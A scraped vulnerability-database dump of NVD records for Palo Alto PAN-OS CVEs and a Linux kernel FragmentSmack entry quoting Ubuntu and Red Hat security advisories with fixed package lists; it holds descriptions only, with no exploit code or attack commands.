Summary
An improper restriction of XML external entity (XXE) reference vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to read any arbitrary file from the file system and send a specifically crafted request to the firewall that causes the service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10; PAN-OS 10.0 versions earlier than PAN-OS 10.0.6. This issue does not affect Prisma Access.



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Vulnerability from fkie_nvd
Published
2020-11-12 00:15
Modified
2024-11-21 05:11
Summary
A vulnerability exists in the Palo Alto Network PAN-OS signature-based threat detection engine that allows an attacker to communicate with devices in the network in a way that is not analyzed for threats by sending data through specifically crafted TCP packets. This technique evades signature-based threat detection. This issue impacts: PAN-OS 8.1 versions earlier than 8.1.17; PAN-OS 9.0 versions earlier than 9.0.11; PAN-OS 9.1 versions earlier than 9.1.5; All versions of PAN-OS 7.1 and PAN-OS 8.0.



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  "published": "2020-11-12T00:15:10.253",
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}

Vulnerability from fkie_nvd
Published
2017-08-02 19:29
Modified
2024-11-21 03:36
Summary
Cross-site scripting (XSS) vulnerability in the management web interface in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to cause a denial of service (management-server crash) by using the command-line interface for a crafted command, aka Ref ID 35254.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A cross-site scripting (XSS) vulnerability exists when visiting malicious websites with the Palo Alto Networks GlobalProtect Clientless VPN that can compromise the user's active session. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7; All versions of PAN-OS 8.0.



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        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
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          "version": "3.1"
        },
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        "impactScore": 2.7,
        "source": "nvd@nist.gov",
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      }
    ]
  },
  "published": "2020-05-13T19:15:13.283",
  "references": [
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      "tags": [
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      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2005"
    },
    {
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    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
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    },
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      ],
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    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.
Impacted products



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Vulnerability from fkie_nvd
Published
2021-04-20 04:15
Modified
2024-11-21 06:20
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where the connection details for a scheduled configuration export are logged in system logs. Logged information includes the cleartext username, password, and IP address used to export the PAN-OS configuration to the destination server.
Impacted products



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Vulnerability from fkie_nvd
Published
2023-04-12 17:15
Modified
2024-11-21 07:36
Summary
A local file deletion vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to delete files from the local file system with elevated privileges. These files can include logs and system components that impact the integrity and availability of PAN-OS software.
References
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3N4NJ7FR4X4FPZUGNTQAPSTVB2HB2Y4A/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E72T67UPDRXHIDLO3OROR25YAMN4GGW5/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNA62Q767CFAFHBCDKYNPBMZWB7TWYVU/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HT7T2R4MQKLIF4ODV4BDLPARWFPCJ5CZ/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKYHSZQFDNR7RSA7LHVLLIAQMVYCUGBG/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6QXN4ORIVF6XBW4WWFE7VNPVC74S45Y/Mailing List, Third Party Advisory
psirt@paloaltonetworks.comhttps://security.paloaltonetworks.com/CVE-2023-0004Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3N4NJ7FR4X4FPZUGNTQAPSTVB2HB2Y4A/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E72T67UPDRXHIDLO3OROR25YAMN4GGW5/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNA62Q767CFAFHBCDKYNPBMZWB7TWYVU/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HT7T2R4MQKLIF4ODV4BDLPARWFPCJ5CZ/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKYHSZQFDNR7RSA7LHVLLIAQMVYCUGBG/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6QXN4ORIVF6XBW4WWFE7VNPVC74S45Y/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.paloaltonetworks.com/CVE-2023-0004Vendor Advisory



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Vulnerability from fkie_nvd
Published
2021-04-20 04:15
Modified
2024-11-21 06:20
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where secrets in PAN-OS XML API requests are logged in cleartext to the web server logs when the API is used incorrectly. This vulnerability applies only to PAN-OS appliances that are configured to use the PAN-OS XML API and exists only when a client includes a duplicate API parameter in API requests. Logged information includes the cleartext username, password, and API key of the administrator making the PAN-OS XML API request.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.5 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 31116.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka Ref ID 34896.



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Vulnerability from fkie_nvd
Published
2016-04-12 17:59
Modified
2024-11-21 02:50
Summary
The GlobalProtect Portal in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5H2 allows remote attackers to cause a denial of service (service crash) via a crafted request.



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Vulnerability from fkie_nvd
Published
2024-02-14 18:15
Modified
2024-12-09 15:08
Summary
A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect portal feature of Palo Alto Networks PAN-OS software enables execution of malicious JavaScript (in the context of a user’s browser) if a user clicks on a malicious link, allowing phishing attacks that could lead to credential theft.



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Vulnerability from fkie_nvd
Published
2023-04-12 17:15
Modified
2024-11-21 07:36
Summary
A vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to expose the plaintext values of secrets stored in the device configuration and encrypted API keys.



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An improper access control vulnerability in PAN-OS software enables an attacker with authenticated access to GlobalProtect portals and gateways to connect to the EC2 instance metadata endpoint for VM-Series firewalls hosted on Amazon AWS. Exploitation of this vulnerability enables an attacker to perform any operations allowed by the EC2 role in AWS. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20 VM-Series firewalls; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11 VM-Series firewalls; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14 VM-Series firewalls; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8 VM-Series firewalls. Prisma Access customers are not impacted by this issue.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The web-based management UI in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote attackers to obtain verbose error information via crafted input, aka Ref ID 33139.



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  "cveTags": [],
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    {
      "lang": "en",
      "value": "The web-based management UI in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote attackers to obtain verbose error information via crafted input, aka Ref ID 33139."
    },
    {
      "lang": "es",
      "value": "La aplicaci\u00f3n de gesti\u00f3n web UI de Palo Alto Networks PAN-OS 4.0.x anterior a 4.0.8 permite a atacantes remotos obtener informaci\u00f3n de errores a trav\u00e9s de datos de entrada manipulados. Aka Ref ID 33139."
    }
  ],
  "id": "CVE-2012-6590",
  "lastModified": "2024-11-21T01:46:27.017",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
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          "authentication": "NONE",
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          "baseScore": 4.3,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
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  "references": [
    {
      "source": "cve@mitre.org",
      "url": "https://security.paloaltonetworks.com/CVE-2012-6590"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://security.paloaltonetworks.com/CVE-2012-6590"
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  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
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      "description": [
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          "lang": "en",
          "value": "CWE-200"
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      "source": "nvd@nist.gov",
      "type": "Primary"
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  ]
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var-201809-1153
Vulnerability from variot

The Linux kernel, versions 3.9+, is vulnerable to a denial of service attack with low rates of specially modified packets targeting IP fragment re-assembly. An attacker may cause a denial of service condition by sending specially crafted IP fragments. Various vulnerabilities in IP fragmentation have been discovered and fixed over the years. The current vulnerability (CVE-2018-5391) became exploitable in the Linux kernel with the increase of the IP fragment reassembly queue size. Linux Kernel is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition. 7) - aarch64, noarch, ppc64le

Security Fix(es):

  • An industry-wide issue was found in the way many modern microprocessor designs have implemented speculative execution of Load & Store instructions (a commonly used performance optimization). It relies on the presence of a precisely-defined instruction sequence in the privileged code as well as the fact that memory read from address to which a recent memory write has occurred may see an older value and subsequently cause an update into the microprocessor's data cache even for speculatively executed instructions that never actually commit (retire). As a result, an unprivileged attacker could use this flaw to read privileged memory by conducting targeted cache side-channel attacks. Maintaining the denial of service condition requires continuous two-way TCP sessions to a reachable open port, thus the attacks cannot be performed using spoofed IP addresses. (CVE-2018-5391)

Space precludes documenting all of the security fixes in this advisory. 1623067 - CVE-2018-9363 kernel: Buffer overflow in hidp_process_report 1629636 - CVE-2018-14641 kernel: a bug in ip_frag_reasm() can cause a crash in ip_do_fragment()

  1. ========================================================================= Ubuntu Security Notice USN-3742-2 August 14, 2018

linux-lts-trusty vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 12.04 ESM

Summary:

Several security issues were fixed in the Linux kernel. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 14.04 for Ubuntu 12.04 ESM.

It was discovered that memory present in the L1 data cache of an Intel CPU core may be exposed to a malicious process that is executing on the CPU core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local attacker in a guest virtual machine could use this to expose sensitive information (memory from other guests or the host OS). (CVE-2018-3646)

It was discovered that memory present in the L1 data cache of an Intel CPU core may be exposed to a malicious process that is executing on the CPU core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local attacker could use this to expose sensitive information (memory from the kernel or other processes). (CVE-2018-3620)

Andrey Konovalov discovered an out-of-bounds read in the POSIX timers subsystem in the Linux kernel. (CVE-2018-5390)

Juha-Matti Tilli discovered that the IP implementation in the Linux kernel performed algorithmically expensive operations in some situations when handling incoming packet fragments. (CVE-2018-5391)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 12.04 ESM: linux-image-3.13.0-155-generic 3.13.0-155.206~precise1 linux-image-3.13.0-155-generic-lpae 3.13.0-155.206~precise1 linux-image-generic-lpae-lts-trusty 3.13.0.155.145 linux-image-generic-lts-trusty 3.13.0.155.145

Please note that the recommended mitigation for CVE-2018-3646 involves updating processor microcode in addition to updating the kernel; however, the kernel includes a fallback for processors that have not received microcode updates.

ATTENTION: Due to an unavoidable ABI change the kernel updates have been given a new version number, which requires you to recompile and reinstall all third party kernel modules you might have installed. Unless you manually uninstalled the standard kernel metapackages (e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual, linux-powerpc), a standard system upgrade will automatically perform this as well. 6.7) - i386, ppc64, s390x, x86_64

Bug Fix(es):

  • Previously, the kernel source code lacked support to report the Speculative Store Bypass Disable (SSBD) vulnerability status on IBM Power Systems. As a consequence, the /sys/devices/system/cpu/vulnerabilities/spec_store_bypass file incorrectly reported "Not affected". This fix updates the kernel source code to properly report the SSBD status either as "Vulnerable" or "Mitigation: Kernel entry/exit barrier (TYPE)", where TYPE is one of "eieio", "hwsync", "fallback", or "unknown". (BZ#1615873)

  • After updating the system to prevent the L1 Terminal Fault (L1TF) vulnerability, only one thread was detected on systems that offer processing of two threads on a single processor core. With this update, the "__max_smt_threads()" function has been fixed. (BZ#1629634)

  • -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

===================================================================== Red Hat Security Advisory

Synopsis: Important: kernel security and bug fix update Advisory ID: RHSA-2018:3590-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2018:3590 Issue date: 2018-11-13 CVE Names: CVE-2017-18344 CVE-2018-5391 CVE-2018-10675 CVE-2018-14634 =====================================================================

  1. Summary:

An update for kernel is now available for Red Hat Enterprise Linux 7.2 Advanced Update Support, Red Hat Enterprise Linux 7.2 Telco Extended Update Support, and Red Hat Enterprise Linux 7.2 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

  1. Relevant releases/architectures:

Red Hat Enterprise Linux Server AUS (v. 7.2) - noarch, x86_64 Red Hat Enterprise Linux Server E4S (v. 7.2) - noarch, x86_64 Red Hat Enterprise Linux Server Optional AUS (v. 7.2) - x86_64 Red Hat Enterprise Linux Server Optional E4S (v. 7.2) - x86_64 Red Hat Enterprise Linux Server Optional TUS (v. 7.2) - x86_64 Red Hat Enterprise Linux Server TUS (v. 7.2) - noarch, x86_64

  1. Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

  • A flaw named FragmentSmack was found in the way the Linux kernel handled reassembly of fragmented IPv4 and IPv6 packets. (CVE-2018-5391)

  • kernel: out-of-bounds access in the show_timer function in kernel/time/posix-timers.c (CVE-2017-18344)

  • kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact (CVE-2018-10675)

  • kernel: Integer overflow in Linux's create_elf_tables function (CVE-2018-14634)

For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.

Red Hat would like to thank Juha-Matti Tilli (Aalto University - Department of Communications and Networking and Nokia Bell Labs) for reporting CVE-2018-5391 and Qualys Research Labs for reporting CVE-2018-14634.

Bug Fix(es):

  • Previously, a kernel panic occurred when the kernel tried to make an out of bound access to the array that describes the L1 Terminal Fault (L1TF) mitigation state on systems without Extended Page Tables (EPT) support. This update extends the array of mitigation states to cover all the states, which effectively prevents out of bound array access. Also, this update enables rejecting invalid, irrelevant values, that might be erroneously provided by the userspace. As a result, the kernel no longer panics in the described scenario. (BZ#1629565)

  • Previously, a packet was missing the User Datagram Protocol (UDP) payload checksum during a full checksum computation, if the hardware checksum was not applied. As a consequence, a packet with an incorrect checksum was dropped by a peer. With this update, the kernel includes the UDP payload checksum during the full checksum computation. As a result, the checksum is computed correctly and the packet can be received by the peer. (BZ#1635792)

  • Previously, a transform lookup through the xfrm framework could be performed on an already transformed destination cache entry (dst_entry). When using User Datagram Protocol (UDP) over IPv6 with a connected socket in conjunction with Internet Protocol Security (IPsec) in Encapsulating Security Payload (ESP) transport mode. As a consequence, invalid IPv6 fragments transmitted from the host or the kernel occasionally terminated unexpectedly due to a socket buffer (SKB) underrun. With this update, the xfrm lookup on an already transformed dst_entry is not possible. As a result, using UDP iperf utility over IPv6 ESP no longer causes invalid IPv6 fragment transmissions or a kernel panic. (BZ#1639586)

  • Solution:

For details on how to apply this update, which includes the changes described in this advisory, refer to:

https://access.redhat.com/articles/11258

The system must be rebooted for this update to take effect.

  1. Bugs fixed (https://bugzilla.redhat.com/):

1575065 - CVE-2018-10675 kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact 1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack) 1610958 - CVE-2017-18344 kernel: out-of-bounds access in the show_timer function in kernel/time/posix-timers.c 1624498 - CVE-2018-14634 kernel: Integer overflow in Linux's create_elf_tables function

  1. Package List:

Red Hat Enterprise Linux Server AUS (v. 7.2):

Source: kernel-3.10.0-327.76.1.el7.src.rpm

noarch: kernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm kernel-doc-3.10.0-327.76.1.el7.noarch.rpm

x86_64: kernel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-headers-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm perf-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server E4S (v. 7.2):

Source: kernel-3.10.0-327.76.1.el7.src.rpm

noarch: kernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm kernel-doc-3.10.0-327.76.1.el7.noarch.rpm

x86_64: kernel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-headers-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm perf-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server TUS (v. 7.2):

Source: kernel-3.10.0-327.76.1.el7.src.rpm

noarch: kernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm kernel-doc-3.10.0-327.76.1.el7.noarch.rpm

x86_64: kernel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-devel-3.10.0-327.76.1.el7.x86_64.rpm kernel-headers-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm perf-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional AUS (v. 7.2):

x86_64: kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional E4S (v. 7.2):

x86_64: kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional TUS (v. 7.2):

x86_64: kernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm python-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2017-18344 https://access.redhat.com/security/cve/CVE-2018-5391 https://access.redhat.com/security/cve/CVE-2018-10675 https://access.redhat.com/security/cve/CVE-2018-14634 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/articles/3553061 https://access.redhat.com/security/vulnerabilities/mutagen-astronomy

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce .

Bug Fix(es):

These updated kernel packages include also numerous bug fixes

Show details on source website


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    "data": "The Linux kernel, versions 3.9+, is vulnerable to a denial of service attack with low rates of specially modified packets targeting IP fragment re-assembly. An attacker may cause a denial of service condition by sending specially crafted IP fragments. Various vulnerabilities in IP fragmentation have been discovered and fixed over the years. The current vulnerability (CVE-2018-5391) became exploitable in the Linux kernel with the increase of the IP fragment reassembly queue size. Linux Kernel is prone to a remote denial-of-service vulnerability. \nAn attacker can exploit this issue to cause a denial-of-service condition. 7) - aarch64, noarch, ppc64le\n\n3. \n\nSecurity Fix(es):\n\n* An industry-wide issue was found in the way many modern microprocessor\ndesigns have implemented speculative execution of Load \u0026 Store instructions\n(a commonly used performance optimization). It relies on the presence of a\nprecisely-defined instruction sequence in the privileged code as well as\nthe fact that memory read from address to which a recent memory write has\noccurred may see an older value and subsequently cause an update into the\nmicroprocessor\u0027s data cache even for speculatively executed instructions\nthat never actually commit (retire). As a result, an unprivileged attacker\ncould use this flaw to read privileged memory by conducting targeted cache\nside-channel attacks. Maintaining the denial of service\ncondition requires continuous two-way TCP sessions to a reachable open\nport, thus the attacks cannot be performed using spoofed IP addresses. (CVE-2018-5391)\n\nSpace precludes documenting all of the security fixes in this advisory. \n1623067 - CVE-2018-9363 kernel: Buffer overflow in hidp_process_report\n1629636 - CVE-2018-14641 kernel: a bug in ip_frag_reasm() can cause a crash in ip_do_fragment()\n\n6. =========================================================================\nUbuntu Security Notice USN-3742-2\nAugust 14, 2018\n\nlinux-lts-trusty vulnerabilities\n=========================================================================\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 12.04 ESM\n\nSummary:\n\nSeveral security issues were fixed in the Linux kernel. This update provides the corresponding updates for the Linux\nHardware Enablement (HWE) kernel from Ubuntu 14.04 for Ubuntu\n12.04 ESM. \n\nIt was discovered that memory present in the L1 data cache of an Intel CPU\ncore may be exposed to a malicious process that is executing on the CPU\ncore. This vulnerability is also known as L1 Terminal Fault (L1TF). A local\nattacker in a guest virtual machine could use this to expose sensitive\ninformation (memory from other guests or the host OS). (CVE-2018-3646)\n\nIt was discovered that memory present in the L1 data cache of an Intel CPU\ncore may be exposed to a malicious process that is executing on the CPU\ncore. This vulnerability is also known as L1 Terminal Fault (L1TF). A local\nattacker could use this to expose sensitive information (memory from the\nkernel or other processes). (CVE-2018-3620)\n\nAndrey Konovalov discovered an out-of-bounds read in the POSIX timers\nsubsystem in the Linux kernel. (CVE-2018-5390)\n\nJuha-Matti Tilli discovered that the IP implementation in the Linux kernel\nperformed algorithmically expensive operations in some situations when\nhandling incoming packet fragments. (CVE-2018-5391)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 12.04 ESM:\n  linux-image-3.13.0-155-generic  3.13.0-155.206~precise1\n  linux-image-3.13.0-155-generic-lpae  3.13.0-155.206~precise1\n  linux-image-generic-lpae-lts-trusty  3.13.0.155.145\n  linux-image-generic-lts-trusty  3.13.0.155.145\n\nPlease note that the recommended mitigation for CVE-2018-3646 involves\nupdating processor microcode in addition to updating the kernel;\nhowever, the kernel includes a fallback for processors that have not\nreceived microcode updates. \n\nATTENTION: Due to an unavoidable ABI change the kernel updates have\nbeen given a new version number, which requires you to recompile and\nreinstall all third party kernel modules you might have installed. \nUnless you manually uninstalled the standard kernel metapackages\n(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,\nlinux-powerpc), a standard system upgrade will automatically perform\nthis as well. 6.7) - i386, ppc64, s390x, x86_64\n\n3. \n\nBug Fix(es):\n\n* Previously, the kernel source code lacked support to report the\nSpeculative Store Bypass Disable (SSBD) vulnerability status on IBM Power\nSystems. As a consequence, the\n/sys/devices/system/cpu/vulnerabilities/spec_store_bypass file incorrectly\nreported \"Not affected\". This fix updates the kernel source code to\nproperly report the SSBD status either as \"Vulnerable\" or \"Mitigation:\nKernel entry/exit barrier (TYPE)\", where TYPE is one of \"eieio\", \"hwsync\",\n\"fallback\", or \"unknown\". (BZ#1615873)\n\n* After updating the system to prevent the L1 Terminal Fault (L1TF)\nvulnerability, only one thread was detected on systems that offer\nprocessing of two threads on a single processor core. With this update, the\n\"__max_smt_threads()\" function has been fixed. (BZ#1629634)\n\n4. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Important: kernel security and bug fix update\nAdvisory ID:       RHSA-2018:3590-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://access.redhat.com/errata/RHSA-2018:3590\nIssue date:        2018-11-13\nCVE Names:         CVE-2017-18344 CVE-2018-5391 CVE-2018-10675 \n                   CVE-2018-14634 \n=====================================================================\n\n1. Summary:\n\nAn update for kernel is now available for Red Hat Enterprise Linux 7.2\nAdvanced Update Support, Red Hat Enterprise Linux 7.2 Telco Extended Update\nSupport, and Red Hat Enterprise Linux 7.2 Update Services for SAP\nSolutions. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Server AUS (v. 7.2) - noarch, x86_64\nRed Hat Enterprise Linux Server E4S (v. 7.2) - noarch, x86_64\nRed Hat Enterprise Linux Server Optional AUS (v. 7.2) - x86_64\nRed Hat Enterprise Linux Server Optional E4S (v. 7.2) - x86_64\nRed Hat Enterprise Linux Server Optional TUS (v. 7.2) - x86_64\nRed Hat Enterprise Linux Server TUS (v. 7.2) - noarch, x86_64\n\n3. Description:\n\nThe kernel packages contain the Linux kernel, the core of any Linux\noperating system. \n\nSecurity Fix(es):\n\n* A flaw named FragmentSmack was found in the way the Linux kernel handled\nreassembly of fragmented IPv4 and IPv6 packets. (CVE-2018-5391)\n\n* kernel: out-of-bounds access in the show_timer function in\nkernel/time/posix-timers.c 